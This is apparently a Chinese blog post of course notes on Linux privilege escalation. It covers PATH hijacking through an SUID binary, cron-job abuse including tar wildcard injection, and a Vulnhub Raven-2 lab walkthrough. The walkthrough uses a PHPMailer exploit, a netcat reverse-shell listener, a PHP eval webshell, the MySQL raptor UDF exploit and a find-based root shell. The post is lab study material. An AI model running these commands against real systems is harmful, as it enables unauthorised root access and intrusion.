第64天-权限提升-Linux 定时任务&环境变量&数据库

思维导图

演示案例:

Linux 提权本地环境变量安全-Aliyun

案例 1:Linux 提权本地环境变量安全-Aliyun

条件

  • 配合 SUID 进行环境变量提权
  • 本地用户权限

过程:手写调用文件-----编译------复制文件------增加环境变量------执行触发

gcc demo.c -o shell
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
./shell
id
demo.c
#include<unistd.h>
void main()
{
	setuid(0);
	setgid(0);
	system("ps");	
}
复制文件

cp /bin/sh /tmp/ps,把/bin/sh复制给/tmp/ps,ps命令本来是用于显示当前进程的状态,复制后执行./ps就变成了执行sh命令。

增加环境变量
export PATH=/tmp:$PATH

chmod u+s shell,./shell执行触发demo.c里面的ps命令

视频中是能够提权的,本地的虚拟机环境,没有成功

Linux 提权本地定时任务安全-Aliyun

案例 2-Linux 提权本地定时任务安全-Aliyun

第一种:路径问题
原理
  • 利用计划任务指向的文件的相对路径解析问题
cat /ect/crontab
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/xiaodi/test.sh
chmod +x /home/xiaodi/test.sh
/tmp/bash
执行cat /etc/crontab命令

查看当前系统的定时任务,发现一个test.sh任务没有写绝对路径,而且是以root权限运行的。

定时任务中的test.sh没有写绝对路径,但我们知道它默认就是调用/usr/local/bin目录下test.sh。(我们自己写来测试用的)

打开看一下,发现此定时任务是每隔一分钟将系统日期写入/tmp/time.log。

等1分钟,发现确实/tmp目录下生成了time.log,内容是当前时间。

​ 那我们该如何利用这个定时任务提权呢?方法就是在用户目录下写入一个与test.sh同名的文件,执行,此时定时任务以root身份调用的就是我们写的 /home/xiaodi/test.sh,而不是系统原来的/usr/local/bin/test.sh,从而提权。但是测试发现并没有提权成功。

echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/xiaodi/test.sh
chmod +x /home/xiaodi/test.sh
/tmp/bash
第二种:命令问题
原理
  • 利用通配符配合命令参数自定义命令实现提权

不安全定时任务备份命令

cd /home/undead/script;tar czf /tmp/backup.tar.gz *
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
执行cat /etc/crontab命令

查看当前系统的定时任务,发现一个名为backup.sh的备份定时任务,而且是以root权限运行的。

定时任务每分钟执行一次,打开backup.sh,发现是将 /home/undead/script目录下的所有文件打包为backup.tar.gz,并放到/tmp目录下。

64-10

使用以下命令,在/home/undead/script目录下创建3个文件

echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1

等待一分钟,系统定时任务执行,打包,打开/tmp目录查看,发现test.sh等文件打包为一个backup.tar.gz文件,但我们刚才创建的另外两个文件并未在backup.tar.gz中,而是另外生成了一个bash文件。

这是为什么呢?原因是定时任务打包时使用了将整个文件夹下的文件打包,而当系统真正执行打包操作时,会将目录下的所有文件名一个一个传参给执行打包操作。前几个文件都没问题,但是当打包到–checkpoint=1文件和–checkpoint-action=exec=sh test.sh文件时,执行的相当于

tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh

而 --checkpoint、–checkpoint-action正好是tar命令的参数,打包到这里就会导致tar命令直接把–checkpoint=1和–checkpoint-action=exec=sh test.sh两个文件名当做参数执行,而不打包文件。

​ --checkpoint-action=exec=sh test.sh参数的意思是执行同目录下test.sh文件,test.sh文件内容又是

cp bin/bash /tmp/bash; chmod +s /tmp/bash

把 bin/bash拷贝给/tmp/bash并给/tmp/bash赋SUID权限。此时我们再执行/tmp/bash就享有了suid权限,所以这里是一环套一环的

类似tar提权的命令还有chown、chmod、rsync

第三种:权限问题
原理
  • 利用不安全的权限分配操作导致的定时文件覆盖

原理解读:管理员正常创建一个文件test.sh时,默认是没有执行权限的,此时管理员若想执行这文件,必须给它赋执行权限,正常的赋权命令是chmod +x test.sh,这样就可以执行test.sh并且组和其他成员无法修改覆盖这个文件(即写权限),但是粗心的管理员会直接chmod 777 test.sh,这样虽然也可以实现执行test.sh的目的,但是会导致权限扩大,即组和其他成员都可以对文件修改覆盖,造成风险。

执行cat /etc/crontab命令

查看当前系统的定时任务,发现一个名为check.sh的定时任务,而且是以root权限运行的。

测试check.sh文件是否有权限问题。

可以以普通用户身份直接修改check.sh文件,如果能修改成功,说明存在权限问题,也可以直接执行ls -l check.sh,查看check.sh的权限,如果是-rwxrwxrwx,说明存在权限问题。只要存在权限问题,就可利用提权。

提权利用

可以模仿上述方法,直接写入命令到定时任务check.sh,从而成功提权。

vim命令打开check.sh文件,写入

cp bin/bash /tmp/bash; chmod +s /tmp/bash

等待定时任务执行后,执行/tmp/bash,提权成功。

Linux 提权第三方服务数据库-Vulnhub

案例 3:Linux 提权数据库 MYSQL_UDF-Vulnhub

靶机下载:

流程

Vulnhub某靶机-----探针 IP 及端口-----利用漏洞获取 web 权限-----信息收集-----查看数据库配置文件-----利用 Mysql 提权 Linux(Mysql 版本区别同 Windows)

确定网段

探针 IP 及端口
nmap 192.168.80.0/24

发现192.168.80.142:80是个站点

使用dirsearch进行扫描网站目录

使用的是wordpressCMS搭建的网站

网站目录路径为/var/www/html/

发现使用了phpmailer。

phpmail安全问题

phpmail 版本为 5.2.17

phpmail界面

利用 phpmailer 漏洞

exp下载地址

https://www.exploit-db.com/download/40974

需要修改几个地方

运行exp

点击http://192.168.80.142/contact.php链接以后就会在网站根目录生成一个shell.php

再次在浏览器打开http://192.168.80.142/shell.php触发生成一个反弹shell

nc -lnvp 4444

写入后门连接方便操作
echo '<?php eval($_POST[x]);?>' >1.php

上传信息收集脚本进行提权信息收集

64-35

没有执行权限,需要赋权,然后执行

chmod +x LinEnum.sh
./LinEnum.sh

请添加图片描述

检测到系统装有第三方软件——mysql数据库,版本为5.5.60

翻阅数据库配置文件获取 root 密码
ls
cd wordpress
ls
cat wp-config.php

R@v3nSecurity

利用 Mysql 提权 searchsploit

下载 mysql udf poc 进行编译 (在靶机上进行编译出错,最好还是在本机进行编译再上传)

wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -
mv raptor_udf.so 1518.so

下载 1518 到目标服务器
wget https://xx.xx.xx.xx/1518.so

64-40

进入数据库进行 UDF 导出

use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

创建 do_system 函数调用

create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');

莫名其妙的我失败了,此时一声卧槽,我破防了。。。。。

配合使用 find 调用执行
find / -user root -perm -4000 -print 2>/dev/ null
touch xiaodi
find xiaodi –exec "whoami" \;
find xiaodi –exec "/bin/sh" \;
id

视频中是成功的!

Linux 提权提升漏洞查找关注点-拓展总结

案例 4-Linux 提权提升简单总结归类-参考 PDF

1.提权环境,信息收集(SUID,定时任务,可能漏洞,第三方服务应用等)
2.最新相关漏洞要明确(关注点),二次开发相关脚本学会展望(四个脚本)
3.本地 searchsploit 脚本及远程 exploitdb 站点搜索说明(简要使用)
4.其他提权方法如:密码复用,guid,sudo 等说明(运气,同理,鸡肋等)
SUDO 说明参考:https://www.freebuf.com/vuls/217089.html

涉及资源:

https://www.exploit-db.com/
https://www.vulnhub.com/entry/raven-2,269/
https://github.com/offensive-security/exploitdb

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值